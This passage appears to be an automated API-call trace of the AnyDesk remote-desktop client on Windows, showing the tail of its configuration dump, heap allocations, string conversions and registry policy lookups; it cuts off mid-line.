hWUtrse+al37pyJWZYaYddqUMvBiLh\\nMrG/E9su5p/nRVSWv7W5h+03dciN+F70RcJD/yD22NSa02swMKLqWAbdrDbScYER\\neraUizYRrtPCttch4pLAZUDUNmgftGR52lJ679945EoLLEDvOyKrLz+dPZ+dHZS9\\nqvfvyHGV/zCnDNI3oDZM3M/l8WINapU8oWlfWpTdC1w6aNPnxoS1QuIGFVVdzBbG\\nSV7ngG9YLqgIPw1EpxPyu4T7o8XLoD5z0U/u9wR32W3W5Bekzq7DmgL/uSTrP5WH\\nqsqx23y7fziLCiJE1k7dJwt2IEhQJrdhpcy8UrUEf9F/HyB0RJw0i6/5aswg/6gw\\nEVR+qbECD/osvRsZQTLCK+66z2jleK/Ooh0Wj4mrhiTsDdNgGK5W/TGVoeeKxGnm\\nCBnBW2cvz0o4RUw3jGY1AGSYvIYxy7qGsa6XAn0C1NkIc9dUoV8XhhH1Wo3uQbHO\\n-----END CERTIFICATE-----\nad.anynet.relay_only=false\nad.anynet.connect_volatile_tokens=\nad.anynet.accept_volatile_tokens=\nad.anynet.accept_volatile_tokens_info=\nad.anynet.register.add_to_namespace=false\nad.anynet.register.namespace_id=0\nad.anynet.register.add_to_roster=false\nad.anynet.register.roster_id=0\nad.anynet.register.roster_tags=\nad.anynet.update_state=0\nad.anynet.last_auto_update=0\nad.anynet.direct=true\nad.anynet.keepalive=false\nad.anynet.network_id=\nad.anynet.network_hash=\nad.anynet.client_stats_hash=\nad.restart.restore_bcd=false\nad.service.remove_at_start=false\nad.files.local_file_sort_order=4\nad.files.remote_file_sort_order=4\nad.files.remote_browser_start_path=\nad.files.local_browser_start_path=\nad.files.enable_parent_folder=true\nad.custom_client_id=\nad.print.auto_exec_injobs=false\nad.print.mode=1\nad.print.device=\nad.discovery.enabled=true\nad.discovery.multicast_ip=239.255.102.18\nad.discovery.multicast_port=50001\nad.discovery.repeat_interval=1000\nad.discovery.repeat_limit=10\nad.discovery.hidden=false\nad.discovery.buffer_interval=5000\nad.discovery.show_tile=1\nad.discovery.default_behavior=1\nad.discovery.port_range=3\nad.discovery.verbose=0\nad.discovery.encrypted=1\nad.discovery.support_v1=1\nad.vpn.start_ip=2886860800\nad.vpn.default_netmask=4294967292\nad.vpn.auto_config=true\nad.vpn.client_ip=167772161\nad.vpn.server_ip=167772162\nad.keyboard.show_keyboard=false\nad.wol.enabled=true\nad.wol.auto_add=1\nad.wol.group_sync=\nad.wol.mode=1\nad.wol.mac_hash=\nad.msg.channels_states=\nad.msg.data=\nad.invite.created_list_encrypted=\nad.invite.received_list_encrypted=\nad.bandwidth.limit=false\nad.bandwidth.limit_kbs=0\nad.telemetry.mode=1\nad.account.info=\nad.account.oauth_provider=\nad.account.auth_methods=\n") returned 2762 [0283.248] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x7ec) returned 0x1963cc0 [0283.248] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993c88 [0283.248] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xda8) returned 0x19644b8 [0283.248] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993ca0 [0283.248] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x7ec) returned 0x1965268 [0283.249] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1965268 | out: hHeap=0x1930000) returned 1 [0283.249] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1972fe8 [0283.249] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1972fc0 [0283.249] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972fe8 | out: hHeap=0x1930000) returned 1 [0283.249] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x7ce) returned 0x1965268 [0283.249] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x7ce) returned 0x1965a40 [0283.249] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x7ac) returned 0x1966218 [0283.250] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1965a40 | out: hHeap=0x1930000) returned 1 [0283.250] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1965268 | out: hHeap=0x1930000) returned 1 [0283.250] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eec0 [0283.250] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196be08 [0283.250] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1972fe8 [0283.250] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eec0 | out: hHeap=0x1930000) returned 1 [0283.250] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x7ac) returned 0x1965268 [0283.250] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1966218 | out: hHeap=0x1930000) returned 1 [0283.250] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972fc0 | out: hHeap=0x1930000) returned 1 [0283.250] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xda8) returned 0x1965a20 [0283.251] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1965a20 | out: hHeap=0x1930000) returned 1 [0283.251] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1972fc0 [0283.251] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1973010 [0283.251] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972fc0 | out: hHeap=0x1930000) returned 1 [0283.251] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xd8a) returned 0x1965a20 [0283.251] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xd8a) returned 0x19667b8 [0283.251] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xd52) returned 0x1967550 [0283.251] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19667b8 | out: hHeap=0x1930000) returned 1 [0283.252] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1965a20 | out: hHeap=0x1930000) returned 1 [0283.252] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eec0 [0283.252] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bb08 [0283.252] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1972fc0 [0283.252] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eec0 | out: hHeap=0x1930000) returned 1 [0283.252] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xd52) returned 0x1965a20 [0283.252] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1967550 | out: hHeap=0x1930000) returned 1 [0283.252] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973010 | out: hHeap=0x1930000) returned 1 [0283.252] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1963cc0 | out: hHeap=0x1930000) returned 1 [0283.252] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1993c88 | out: hHeap=0x1930000) returned 1 [0283.252] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19644b8 | out: hHeap=0x1930000) returned 1 [0283.252] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1993ca0 | out: hHeap=0x1930000) returned 1 [0283.252] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962720 | out: hHeap=0x1930000) returned 1 [0283.252] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961c48 | out: hHeap=0x1930000) returned 1 [0283.253] UnlockFileEx (in: hFile=0x18c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x12d4c58 | out: lpOverlapped=0x12d4c58) returned 1 [0283.253] CloseHandle (hObject=0x18c) returned 1 [0283.253] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c0a8 | out: hHeap=0x1930000) returned 1 [0283.253] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eec0 [0283.253] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eeb0 [0283.253] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bde8 [0283.253] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1973010 [0283.254] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eeb0 | out: hHeap=0x1930000) returned 1 [0283.254] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xd52) returned 0x1961c48 [0283.254] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eec0 | out: hHeap=0x1930000) returned 1 [0283.254] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eec0 [0283.254] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eeb0 [0283.254] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bdc8 [0283.254] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1973038 [0283.254] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eeb0 | out: hHeap=0x1930000) returned 1 [0283.254] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x7ac) returned 0x19629a8 [0283.254] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eec0 | out: hHeap=0x1930000) returned 1 [0283.254] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196be68 | out: hHeap=0x1930000) returned 1 [0283.254] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eec0 [0283.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.254] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eeb0 [0283.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x196eeb0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.255] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eec0 | out: hHeap=0x1930000) returned 1 [0283.255] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eec0 [0283.255] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eeb0 | out: hHeap=0x1930000) returned 1 [0283.255] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cb4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0283.255] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa) returned 0x1993ca0 [0283.255] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cb4, cbMultiByte=-1, lpWideCharStr=0x1993ca0, cchWideChar=5 | out: lpWideCharStr="true") returned 5 [0283.255] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1993ca0 | out: hHeap=0x1930000) returned 1 [0283.255] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0cf5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.255] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x196eeb0 [0283.255] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0cf5c, cbMultiByte=-1, lpWideCharStr=0x196eeb0, cchWideChar=2 | out: lpWideCharStr="1") returned 2 [0283.255] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eeb0 | out: hHeap=0x1930000) returned 1 [0283.255] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cbc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0283.255] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1993ca0 [0283.255] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cbc, cbMultiByte=-1, lpWideCharStr=0x1993ca0, cchWideChar=6 | out: lpWideCharStr="false") returned 6 [0283.255] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1993ca0 | out: hHeap=0x1930000) returned 1 [0283.256] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd5994, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.256] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x196eeb0 [0283.256] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd5994, cbMultiByte=-1, lpWideCharStr=0x196eeb0, cchWideChar=2 | out: lpWideCharStr="0") returned 2 [0283.256] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eeb0 | out: hHeap=0x1930000) returned 1 [0283.256] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993ca0 [0283.256] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1973060 [0283.256] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eec0 | out: hHeap=0x1930000) returned 1 [0283.256] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eec0 [0283.256] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.256] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eeb0 [0283.256] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x196eeb0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.256] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eec0 | out: hHeap=0x1930000) returned 1 [0283.256] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eec0 [0283.256] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eeb0 | out: hHeap=0x1930000) returned 1 [0283.256] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cb4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0283.256] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa) returned 0x1993c88 [0283.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cb4, cbMultiByte=-1, lpWideCharStr=0x1993c88, cchWideChar=5 | out: lpWideCharStr="true") returned 5 [0283.257] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1993c88 | out: hHeap=0x1930000) returned 1 [0283.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0cf5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.257] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x196eeb0 [0283.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0cf5c, cbMultiByte=-1, lpWideCharStr=0x196eeb0, cchWideChar=2 | out: lpWideCharStr="1") returned 2 [0283.257] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eeb0 | out: hHeap=0x1930000) returned 1 [0283.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cbc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0283.257] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1993c88 [0283.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cbc, cbMultiByte=-1, lpWideCharStr=0x1993c88, cchWideChar=6 | out: lpWideCharStr="false") returned 6 [0283.257] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1993c88 | out: hHeap=0x1930000) returned 1 [0283.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd5994, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.257] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x196eeb0 [0283.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd5994, cbMultiByte=-1, lpWideCharStr=0x196eeb0, cchWideChar=2 | out: lpWideCharStr="0") returned 2 [0283.257] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eeb0 | out: hHeap=0x1930000) returned 1 [0283.257] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993c88 [0283.257] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1973088 [0283.257] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eec0 | out: hHeap=0x1930000) returned 1 [0283.258] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961c48 | out: hHeap=0x1930000) returned 1 [0283.258] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973010 | out: hHeap=0x1930000) returned 1 [0283.258] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bde8 | out: hHeap=0x1930000) returned 1 [0283.258] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19629a8 | out: hHeap=0x1930000) returned 1 [0283.258] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973038 | out: hHeap=0x1930000) returned 1 [0283.258] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bdc8 | out: hHeap=0x1930000) returned 1 [0283.258] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196be48 | out: hHeap=0x1930000) returned 1 [0283.259] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973060 | out: hHeap=0x1930000) returned 1 [0283.259] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1993ca0 | out: hHeap=0x1930000) returned 1 [0283.259] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973088 | out: hHeap=0x1930000) returned 1 [0283.259] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1993c88 | out: hHeap=0x1930000) returned 1 [0283.259] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198bb08 | out: hHeap=0x1930000) returned 1 [0283.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0da5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0283.259] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1973088 [0283.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0da5c, cbMultiByte=-1, lpWideCharStr=0x1973088, cchWideChar=15 | out: lpWideCharStr="ad.trace.level") returned 15 [0283.259] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eec0 [0283.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.259] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eeb0 [0283.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x196eeb0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.260] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eea0 [0283.260] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.260] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x196ee90 [0283.260] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x196ee90, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.260] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ee90 | out: hHeap=0x1930000) returned 1 [0283.260] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x25) returned 0x1961c60 [0283.260] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x196be48 [0283.260] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961c60 | out: hHeap=0x1930000) returned 1 [0283.260] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196ee90 [0283.260] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bdc8 [0283.260] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1973060 [0283.260] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ee90 | out: hHeap=0x1930000) returned 1 [0283.260] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eea0 | out: hHeap=0x1930000) returned 1 [0283.260] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x196bde8 [0283.260] RegQueryValueExW (in: hKey=0x0, lpValueName="trace.level", lpReserved=0x0, lpType=0x12d4db8, lpData=0x0, lpcbData=0x12d4dbc*=0x0 | out: lpType=0x12d4db8*=0x0, lpData=0x0, lpcbData=0x12d4dbc*=0x0) returned 0x6 [0283.261] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x12d4de4 | out: phkResult=0x12d4de4*=0x0) returned 0x2 [0283.261] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bde8 | out: hHeap=0x1930000) returned 1 [0283.261] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196eea0 [0283.261] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.261] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x196ee90 [0283.261] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x196ee90, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.261] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ee90 | out: hHeap=0x1930000) returned 1 [0283.261] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x25) returned 0x1961c60 [0283.261] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x196bde8 [0283.261] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961c60 | out: hHeap=0x1930000) returned 1 [0283.261] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196ee90 [0283.261] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196be68 [0283.262] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1973038 [0283.262] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ee90 | out: hHeap=0x1930000) returned 1 [0283.262] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eea0 | out: hHeap=0x1930000) returned 1 [0283.262] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x196bda8 [0283.262] RegQueryValueExW (in: hKey=0x0, lpValueName="trace.level", lpReserved=0x0, lpType=0x12d4db8, lpData=0x0, lpcbData=0x12d4dbc*=0x0 | out: lpType=0x12d4db8*=0x0, lpData=0x0, lpcbData=0x12d4dbc*=0x0) returned 0x6 [0283.262] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x12d4de4 | out: phkResult=0x12d4de4*=0x0) returned 0x2 [0283.262] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bda8 | out: hHeap=0x1930000) returned 1 [0283.262] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eec0 | out: hHeap=0x1930000) returned 1 [0283.262] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x196eec0 [0283.262] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eeb0 | out: hHeap=0x1930000) returned 1 [0283.262] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eec0 | out: hHeap=0x1930000) returned 1 [0283.262] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973088 | out: hHeap=0x1930000) returned 1 [0283.262] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e068, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 40 [0283.262] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x1972d08 [0283.262] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e068, cbMultiByte=-1, lpWideCharStr=0x1972d08, cchWideChar=40 | out: lpWideCharStr="ad.security.permission_profiles.version") returned 40 [0283.262] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x1972c58 [0283.263] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x1971f48 [0283.263] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bda8 [0283.263] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x1971fa0 [0283.263] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971f48 | out: hHeap=0x1930000) returned 1 [0283.263] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972d08 | out: hHeap=0x1930000) returned 1 [0283.263] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbf9ba8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 43 [0283.263] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x56) returned 0x1975d80 [0283.263] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbf9ba8, cbMultiByte=-1, lpWideCharStr=0x1975d80, cchWideChar=43 | out: lpWideCharStr="ad.security.permission_profiles.can_create") returned 43 [0283.263] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x56) returned 0x19755a0 [0283.263] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x56) returned 0x1975ea0 [0283.264] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bd88 [0283.264] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x56) returned 0x1975e40 [0283.264] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975ea0 | out: hHeap=0x1930000) returned 1 [0283.264] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975d80 | out: hHeap=0x1930000) returned 1 [0283.264] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0e090, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0283.264] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 